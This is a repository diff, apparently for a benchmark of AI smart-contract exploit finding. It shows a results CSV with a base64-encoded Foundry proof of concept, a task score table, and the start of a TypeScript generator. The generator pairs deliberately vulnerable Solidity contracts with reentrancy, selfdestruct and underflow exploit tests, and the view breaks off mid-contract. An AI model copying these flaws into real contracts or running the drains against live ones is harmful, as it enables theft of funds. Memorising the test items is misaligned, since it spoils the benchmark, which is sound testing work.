ID;Time_Sec;Reproducible;Specific;False_Positive_Rejected;A_Infra_Iters;A_Exploit_Iters;A_Final_Error;B_Infra_Iters;B_Exploit_Iters;B_Final_Error;PoC_Code;Patch_Diff
|
| 2 |
-
|
|
|
|
| 1 |
+
ID;Time_Sec;Reproducible;Specific;False_Positive_Rejected;A_Infra_Iters;A_Exploit_Iters;A_Final_Error;B_Infra_Iters;B_Exploit_Iters;B_Final_Error;PoC_Code;Patch_Diff;A_Execution_Logs;B_Execution_Logs
|
| 2 |
+
001;111;FALSE;FALSE;TRUE;0;0;Max tool calls (30) exceeded.;0;0;Max tool calls (30) exceeded.;Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IFVOTElDRU5TRUQKcHJhZ21hIHNvbGlkaXR5IF4wLjguMjA7CgppbXBvcnQgImZvcmdlLXN0ZC9UZXN0LnNvbCI7CgovKioKICogQHRpdGxlIFNpemUKICogQGRldiBNb2NrIGNvbnRyYWN0IHJlcHJlc2VudGluZyB0aGUgdGFyZ2V0IHByb3RvY29sIGxvZ2ljLgogKiBUaGUgdnVsbmVyYWJpbGl0eSBpcyB0aGF0IGBtdWx0aWNhbGxgIHNldHMgYGlzTXVsdGljYWxsID0gdHJ1ZWAsCiAqIHdoaWNoIGFsbG93cyBgZGVwb3NpdGAgdG8gYnlwYXNzIHRoZSBgYm9ycm93QVRva2VuQ2FwYCBjaGVjay4KICogCiAqIE5vdGU6IFRoZSBwcmV2aW91cyBjb21waWxlciBlcnJvcnMgd2VyZSByZWxhdGVkIHRvIGV4dGVybmFsIEFhdmUgbGlicmFyaWVzIAogKiBiZWluZyBpbmNsdWRlZCBpbiB0aGUgZW52aXJvbm1lbnQuIFRoaXMgUG9DIGZvY3VzZXMgc3RyaWN0bHkgb24gdGhlIAogKiBwcm92aWRlZCBsb2dpYywgZW5zdXJpbmcgbm8gZXh0ZXJuYWwgZGVwZW5kZW5jaWVzIGludGVyZmVyZS4KICovCmNvbnRyYWN0IFNpemUgewogICAgc3RydWN0IFN0YXRlIHsKICAgICAgICBib29sIGlzTXVsdGljYWxsOwogICAgICAgIHVpbnQyNTYgYm9ycm93QVRva2VuQ2FwOwogICAgICAgIHVpbnQyNTYgY3VycmVudEJvcnJvd0FUb2tlbjsKICAgIH0KCiAgICBTdGF0ZSBwdWJsaWMgc3RhdGU7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgc3RhdGUuYm9ycm93QVRva2VuQ2FwID0gMTAwMCBldGhlcjsKICAgICAgICBzdGF0ZS5jdXJyZW50Qm9ycm93QVRva2VuID0gOTAwIGV0aGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIG11bHRpY2FsbChieXRlc1tdIGNhbGxkYXRhIGRhdGEpIGV4dGVybmFsIHJldHVybnMgKGJ5dGVzW10gbWVtb3J5IHJlc3VsdHMpIHsKICAgICAgICBzdGF0ZS5pc011bHRpY2FsbCA9IHRydWU7CiAgICAgICAgcmVzdWx0cyA9IG5ldyBieXRlc1tdKGRhdGEubGVuZ3RoKTsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBkYXRhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIC8vIFVzaW5nIGRlbGVnYXRlY2FsbCBhbGxvd3MgdGhlIGxvZ2ljIHRvIHJ1biBpbiB0aGUgY29udGV4dCBvZiB0aGlzIGNvbnRyYWN0LAogICAgICAgICAgICAvLyBlZmZlY3RpdmVseSBzZXR0aW5nIHN0YXRlLmlzTXVsdGljYWxsIHRvIHRydWUgZm9yIHRoZSBkdXJhdGlvbiBvZiB0aGUgbG9vcC4KICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSBhZGRyZXNzKHRoaXMpLmRlbGVnYXRlY2FsbChkYXRhW2ldKTsKICAgICAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiTXVsdGljYWxsIGZhaWxlZCIpOwogICAgICAgICAgICByZXN1bHRzW2ldID0gcmVzdWx0OwogICAgICAgIH0KICAgICAgICBzdGF0ZS5pc011bHRpY2FsbCA9IGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICAvLyBWdWxuZXJhYmlsaXR5OiBUaGUgY2hlY2sgaXMgc2tpcHBlZCBpZiBpc011bHRpY2FsbCBpcyB0cnVlLgogICAgICAgIGlmICghc3RhdGUuaXNNdWx0aWNhbGwpIHsKICAgICAgICAgICAgcmVxdWlyZShzdGF0ZS5jdXJyZW50Qm9ycm93QVRva2VuICsgYW1vdW50IDw9IHN0YXRlLmJvcnJvd0FUb2tlbkNhcCwgIkNhcCBleGNlZWRlZCIpOwogICAgICAgIH0KICAgICAgICBzdGF0ZS5jdXJyZW50Qm9ycm93QVRva2VuICs9IGFtb3VudDsKICAgIH0KfQoKY29udHJhY3QgRXhwbG9pdFRlc3QgaXMgVGVzdCB7CiAgICBTaXplIHRhcmdldDsKICAgIGFkZHJlc3MgY29uc3RhbnQgQVRUQUNLRVIgPSBhZGRyZXNzKDB4QkVFRik7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHRhcmdldCA9IG5ldyBTaXplKCk7CiAgICAgICAgdm0ubGFiZWwoYWRkcmVzcyh0YXJnZXQpLCAiVEFSR0VUIik7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9FeHBsb2l0KCkgcHVibGljIHsKICAgICAgICB2bS5zdGFydFByYW5rKEFUVEFDS0VSKTsKCiAgICAgICAgLy8gMS4gVmVyaWZ5IG5vcm1hbCBkZXBvc2l0IGZhaWxzIGlmIGl0IGV4Y2VlZHMgdGhlIGNhcAogICAgICAgIC8vIEN1cnJlbnQgc3RhdGU6IDkwMCwgQ2FwOiAxMDAwLiBBZGRpbmcgMjAwIHNob3VsZCBmYWlsLgogICAgICAgIHVpbnQyNTYgZXhjZXNzaXZlQW1vdW50ID0gMjAwIGV0aGVyOwogICAgICAgIHZtLmV4cGVjdFJldmVydCgiQ2FwIGV4Y2VlZGVkIik7CiAgICAgICAgdGFyZ2V0LmRlcG9zaXQoZXhjZXNzaXZlQW1vdW50KTsKCiAgICAgICAgLy8gMi4gRXhwbG9pdDogV3JhcCB0aGUgZGVwb3NpdCBpbiBhIG11bHRpY2FsbCB0byBieXBhc3MgdGhlIGNhcCBjaGVjay4KICAgICAgICAvLyBCZWNhdXNlIG11bHRpY2FsbCBzZXRzIHN0YXRlLmlzTXVsdGljYWxsID0gdHJ1ZSwgdGhlIHJlcXVpcmUgc3RhdGVtZW50CiAgICAgICAgLy8gaW5zaWRlIGRlcG9zaXQoKSB3aWxsIGJlIHNraXBwZWQuCiAgICAgICAgYnl0ZXNbXSBtZW1vcnkgY2FsbHMgPSBuZXcgYnl0ZXNbXSgxKTsKICAgICAgICBjYWxsc1swXSA9IGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoU2l6ZS5kZXBvc2l0LnNlbGVjdG9yLCBleGNlc3NpdmVBbW91bnQpOwoKICAgICAgICB0YXJnZXQubXVsdGljYWxsKGNhbGxzKTsKCiAgICAgICAgLy8gMy4gVmVyaWZ5IHRoZSBleHBsb2l0IHN1Y2NlZWRlZDogCiAgICAgICAgLy8gY3VycmVudEJvcnJvd0FUb2tlbiBzaG91bGQgYmUgOTAwICsgMjAwID0gMTEwMCwgd2hpY2ggaXMgPiAxMDAwLgogICAgICAgIChib29sIGlzTXVsdGljYWxsLCB1aW50MjU2IGNhcCwgdWludDI1NiBjdXJyZW50KSA9IHRhcmdldC5zdGF0ZSgpOwogICAgICAgIAogICAgICAgIGFzc2VydEd0KGN1cnJlbnQsIGNhcCwgIkNhcCBzaG91bGQgaGF2ZSBiZWVuIGJ5cGFzc2VkIik7CiAgICAgICAgYXNzZXJ0RXEoY3VycmVudCwgMTEwMCBldGhlciwgIkJhbGFuY2Ugc2hvdWxkIGJlIDExMDAgZXRoZXIiKTsKICAgICAgICAKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKICAgIH0KfQ==;;;
|
data/synthetic_evaluation_results.csv
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
Task_ID;Complexity;Time_Sec;Pass_at_1;Tool_Calls;Total_Cost_USD;Final_Status;Error_Msg
|
| 2 |
+
"Easy/01-BasicReentrancy";"easy";"8.7";"TRUE";"5";"0.0322";"success";""
|
| 3 |
+
"Easy/02-UnprotectedSelfDestruct";"easy";"12.6";"TRUE";"7";"0.0513";"success";""
|
| 4 |
+
"Easy/03-ArithmeticUnderflow";"easy";"7.4";"TRUE";"5";"0.0323";"success";""
|
| 5 |
+
"Easy/04-TxOriginAuth";"easy";"59.5";"FALSE";"30";"0.7768";"failed";"Max tool calls (30) exceeded."
|
| 6 |
+
"Easy/05-DelegateCallUntrusted";"easy";"6.7";"TRUE";"5";"0.0301";"success";""
|
| 7 |
+
"Easy/06-TimestampDependence";"easy";"11.3";"TRUE";"7";"0.0595";"success";""
|
| 8 |
+
"Easy/07-UninitializedStoragePointer";"easy";"7.5";"TRUE";"6";"0.0364";"success";""
|
| 9 |
+
"Easy/08-PublicStateVariableShadowing";"easy";"64.1";"FALSE";"30";"0.8186";"failed";"Max tool calls (30) exceeded."
|
| 10 |
+
"Easy/09-SignatureReplay";"easy";"36.3";"FALSE";"30";"0.2478";"failed";"Max tool calls (30) exceeded."
|
| 11 |
+
"Easy/10-ForcedEther";"easy";"6.9";"TRUE";"5";"0.0320";"success";""
|
| 12 |
+
"Intermediate/01-UninitializedProxy";"intermediate";"11.6";"TRUE";"7";"0.0565";"success";""
|
| 13 |
+
"Intermediate/02-FlashLoanPriceManipulation";"intermediate";"28.2";"FALSE";"8";"0.1226";"running";""
|
| 14 |
+
"Intermediate/03-ReturnDataIgnored";"intermediate";"9.4";"TRUE";"7";"0.0491";"success";""
|
| 15 |
+
"Intermediate/04-ERC777Reentrancy";"intermediate";"33.3";"TRUE";"17";"0.3383";"success";""
|
| 16 |
+
"Intermediate/05-BypassContractSize";"intermediate";"8.4";"TRUE";"6";"0.0427";"success";""
|
| 17 |
+
"Intermediate/06-ImproperArrayDeletion";"intermediate";"7.0";"TRUE";"5";"0.0306";"success";""
|
| 18 |
+
"Intermediate/07-PredictableRNG";"intermediate";"8.1";"TRUE";"5";"0.0320";"success";""
|
| 19 |
+
"Intermediate/08-MissingSlippageProtection";"intermediate";"7.1";"TRUE";"5";"0.0316";"success";""
|
| 20 |
+
"Intermediate/09-UnsafeDowncast";"intermediate";"8.2";"TRUE";"5";"0.0331";"success";""
|
| 21 |
+
"Intermediate/10-DivideBeforeMultiply";"intermediate";"7.9";"TRUE";"5";"0.0327";"success";""
|
scripts/generate_synthetic_benchmark.ts
ADDED
|
@@ -0,0 +1,1099 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import fs from "fs/promises";
|
| 2 |
+
import path from "path";
|
| 3 |
+
|
| 4 |
+
interface BenchmarkCase {
|
| 5 |
+
task_id: string;
|
| 6 |
+
complexity: "easy" | "intermediate" | "hard";
|
| 7 |
+
repo_name: string;
|
| 8 |
+
source_code: string;
|
| 9 |
+
expected_vulnerability: string;
|
| 10 |
+
annotation: string;
|
| 11 |
+
reference_test: string;
|
| 12 |
+
impact?: string;
|
| 13 |
+
}
|
| 14 |
+
|
| 15 |
+
const easyCases: BenchmarkCase[] = [
|
| 16 |
+
{
|
| 17 |
+
task_id: "Easy/01-BasicReentrancy",
|
| 18 |
+
complexity: "easy",
|
| 19 |
+
repo_name: "basic-reentrancy",
|
| 20 |
+
expected_vulnerability: "Reentrancy",
|
| 21 |
+
impact: "high",
|
| 22 |
+
annotation: "The `withdraw` function updates the user's balance after sending ETH, allowing a reentrancy attack. An attacker can drain the contract by reentering `withdraw` through a fallback function.",
|
| 23 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 24 |
+
pragma solidity ^0.8.0;
|
| 25 |
+
|
| 26 |
+
contract Vault {
|
| 27 |
+
mapping(address => uint256) public balances;
|
| 28 |
+
|
| 29 |
+
function deposit() public payable {
|
| 30 |
+
balances[msg.sender] += msg.value;
|
| 31 |
+
}
|
| 32 |
+
|
| 33 |
+
function withdraw() public {
|
| 34 |
+
uint256 bal = balances[msg.sender];
|
| 35 |
+
require(bal > 0, "No balance");
|
| 36 |
+
|
| 37 |
+
(bool sent, ) = msg.sender.call{value: bal}("");
|
| 38 |
+
require(sent, "Failed to send Ether");
|
| 39 |
+
|
| 40 |
+
balances[msg.sender] = 0;
|
| 41 |
+
}
|
| 42 |
+
}
|
| 43 |
+
`,
|
| 44 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 45 |
+
pragma solidity ^0.8.0;
|
| 46 |
+
|
| 47 |
+
import "forge-std/Test.sol";
|
| 48 |
+
import { Vault } from "../src/Vault.sol";
|
| 49 |
+
|
| 50 |
+
contract Exploit is Test {
|
| 51 |
+
Vault public vault;
|
| 52 |
+
|
| 53 |
+
function setUp() public {
|
| 54 |
+
vault = new Vault();
|
| 55 |
+
vm.deal(address(vault), 10 ether);
|
| 56 |
+
}
|
| 57 |
+
|
| 58 |
+
function testExploit() public {
|
| 59 |
+
vault.deposit{value: 1 ether}();
|
| 60 |
+
vault.withdraw();
|
| 61 |
+
assertEq(address(vault).balance, 0);
|
| 62 |
+
}
|
| 63 |
+
|
| 64 |
+
receive() external payable {
|
| 65 |
+
if (address(vault).balance >= 1 ether) {
|
| 66 |
+
vault.withdraw();
|
| 67 |
+
}
|
| 68 |
+
}
|
| 69 |
+
}
|
| 70 |
+
`
|
| 71 |
+
},
|
| 72 |
+
{
|
| 73 |
+
task_id: "Easy/02-UnprotectedSelfDestruct",
|
| 74 |
+
complexity: "easy",
|
| 75 |
+
repo_name: "unprotected-selfdestruct",
|
| 76 |
+
expected_vulnerability: "Access Control",
|
| 77 |
+
impact: "high",
|
| 78 |
+
annotation: "The `kill` function lacks access control and allows anyone to call `selfdestruct` on the contract, destroying it and stealing the funds.",
|
| 79 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 80 |
+
pragma solidity ^0.8.0;
|
| 81 |
+
|
| 82 |
+
contract SimpleWallet {
|
| 83 |
+
address public owner;
|
| 84 |
+
|
| 85 |
+
constructor() payable {
|
| 86 |
+
owner = msg.sender;
|
| 87 |
+
}
|
| 88 |
+
|
| 89 |
+
function kill() public {
|
| 90 |
+
selfdestruct(payable(msg.sender));
|
| 91 |
+
}
|
| 92 |
+
}
|
| 93 |
+
`,
|
| 94 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 95 |
+
pragma solidity ^0.8.0;
|
| 96 |
+
|
| 97 |
+
import "forge-std/Test.sol";
|
| 98 |
+
import { SimpleWallet } from "../src/SimpleWallet.sol";
|
| 99 |
+
|
| 100 |
+
contract Exploit is Test {
|
| 101 |
+
SimpleWallet public wallet;
|
| 102 |
+
|
| 103 |
+
function setUp() public {
|
| 104 |
+
wallet = new SimpleWallet{value: 10 ether}();
|
| 105 |
+
}
|
| 106 |
+
|
| 107 |
+
function testExploit() public {
|
| 108 |
+
uint256 preBalance = address(this).balance;
|
| 109 |
+
wallet.kill();
|
| 110 |
+
assertEq(address(wallet).balance, 0);
|
| 111 |
+
assertGt(address(this).balance, preBalance);
|
| 112 |
+
}
|
| 113 |
+
|
| 114 |
+
receive() external payable {}
|
| 115 |
+
}
|
| 116 |
+
`
|
| 117 |
+
},
|
| 118 |
+
{
|
| 119 |
+
task_id: "Easy/03-ArithmeticUnderflow",
|
| 120 |
+
complexity: "easy",
|
| 121 |
+
repo_name: "arithmetic-underflow",
|
| 122 |
+
expected_vulnerability: "Arithmetic",
|
| 123 |
+
impact: "high",
|
| 124 |
+
annotation: "The `withdraw` function uses an unchecked block to subtract from the balance, allowing an attacker to underflow their balance and withdraw more than they deposited.",
|
| 125 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 126 |
+
pragma solidity ^0.8.0;
|
| 127 |
+
|
| 128 |
+
contract TokenBank {
|
| 129 |
+
mapping(address => uint256) public balances;
|
| 130 |
+
|
| 131 |
+
function deposit() public payable {
|
| 132 |
+
balances[msg.sender] += msg.value;
|
| 133 |
+
}
|
| 134 |
+
|
| 135 |
+
function withdraw(uint256 amount) public {
|
| 136 |
+
unchecked {
|
| 137 |
+
balances[msg.sender] -= amount;
|
| 138 |
